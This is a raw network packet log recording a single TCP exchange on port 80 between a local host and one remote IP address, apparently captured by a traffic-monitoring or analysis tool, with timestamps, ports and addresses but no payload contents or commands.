Dec 9, 2024 23:09:28.078350067 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.079322100 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.079363108 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.079420090 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.079458952 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.080338001 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.080378056 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.080409050 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.080449104 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.081418991 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.081476927 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.081970930 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.082010031 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.082422018 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.082458973 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.082494974 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.082535028 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.083556890 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.083605051 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.083636045 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.083673954 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.084608078 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.084839106 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.084880114 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.085628986 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.085666895 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.085747957 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.085787058 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.086667061 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.086704016 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.086822987 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.086862087 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.087718010 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.087795019 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.087836981 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.088752985 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.088789940 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.088824987 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.088864088 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.089817047 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.089854956 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.089855909 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.089894056 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.090882063 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.091195107 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.091233015 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.091989994 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.092046022 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.092061996 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.092099905 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.093028069 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.093066931 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.093142986 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.093180895 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.093997955 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.094038963 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.094090939 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.094129086 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.095103979 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.095237970 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.095274925 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.096066952 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.096120119 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.096173048 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.096225977 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.097141981 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.097197056 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.097265005 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.097407103 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.098191023 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.098232985 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.098298073 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.098335981 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.099268913 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.099446058 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.099481106 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.100339890 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.100379944 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.100423098 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.100462914 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.101367950 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.101542950 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.101591110 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.102385044 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.102447033 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.102478027 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.102520943 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.103408098 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.103458881 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.103571892 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.103619099 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.104460001 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.104509115 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.104590893 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.104717970 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.105525017 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.105577946 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.105601072 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.105642080 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.106666088 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.106707096 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.106899977 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.106941938 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.107884884 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.107928038 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.108108997 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.108689070 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.108730078 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.108732939 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.108768940 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.109824896 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.109865904 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.110008955 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.110049009 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.110812902 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.110853910 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.110918045 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.110958099 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.111825943 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.111865997 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.112020016 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.112061024 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.112972975 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.113040924 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.113084078 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.113887072 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.113935947 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.114094019 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.114147902 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.115123034 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.115175009 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.115242958 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.115350008 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.116060019 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.116106033 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.116133928 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.116175890 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.117127895 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.117177963 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.117208958 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.117254972 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.118329048 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.118376017 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.118443966 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.118496895 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.119409084 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.119452953 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.119482994 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.119537115 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.120214939 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.120297909 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.120342970 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.121237993 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.121279955 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.121285915 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.121324062 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.122307062 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.122411013 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.122454882 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.123385906 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.123509884 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.123550892 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.124366999 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.124403954 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.124495983 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.124538898 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.125534058 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.125580072 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.125597954 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.125641108 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.126568079 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.128323078 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.240670919 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.240731001 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.240771055 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.240812063 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.241214037 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.241339922 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.241343975 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.241405010 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.242281914 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.242335081 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.242377996 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.243292093 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.243340015 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.271296024 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.271348000 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.271364927 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.271400928 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.271743059 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.271817923 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.271986961 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.272033930 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.272043943 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.272083044 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.273056030 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.273118973 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.273144007 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.273175955 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.274044037 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.274116993 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.274166107 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.274214983 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.275103092 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.275147915 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.275222063 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.275259018 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.276173115 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.276213884 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.276251078 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.276285887 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.277180910 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.277301073 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.277342081 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.277355909 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.278235912 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.278284073 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.278445005 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.278491020 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.279272079 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.279319048 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.279347897 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.279387951 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.280421972 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.280458927 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.280621052 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.280663013 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.281371117 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.281477928 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.281496048 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.281533003 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.282444954 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.282644033 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.282685995 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.283668995 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.283720016 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.283811092 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.283847094 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.284534931 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.284579992 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.284642935 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.284681082 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.285579920 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.285670042 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.285749912 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.285795927 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.286619902 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.286664963 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.286684036 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.286727905 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.287691116 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.287750006 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.287781954 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.287827015 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.288705111 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.288758039 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.288793087 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.288893938 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.289829969 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.289881945 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.289942026 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.290013075 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.290863991 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.290911913 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.290944099 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.290980101 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.291888952 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.291927099 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.291975021 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.292016029 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.292902946 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.292963982 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.292967081 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.293009996 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.294043064 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.294110060 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.294189930 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.294306040 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.294998884 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.295047998 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.295085907 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.295130014 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.296171904 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.296216011 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.296232939 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.296269894 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.297096014 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.297216892 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.297254086 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.298176050 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.298222065 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.298316002 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.298360109 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.299215078 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.299258947 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.299308062 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.299355030 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.300261974 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.300316095 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.300376892 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.300432920 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.301336050 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.301419973 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.301428080 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.301465988 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.302376986 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.302416086 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.302470922 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.303441048 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.303503036 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.303517103 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.303544044 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.304466009 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.304512024 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.304549932 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.304596901 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.305521965 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.305567980 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.305597067 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.305784941 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.306560993 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.306606054 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.306685925 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.306730032 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.307643890 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.307687998 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.307754040 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.307796955 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.308636904 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.308737993 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.308768988 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.308806896 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.309720993 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.309853077 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.309892893 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.310825109 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.310869932 CET	80	49815	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:28.310889959 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.310909986 CET	49815	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:28.311773062 CET	80	49815	185.215.113.16	192.168.2.4
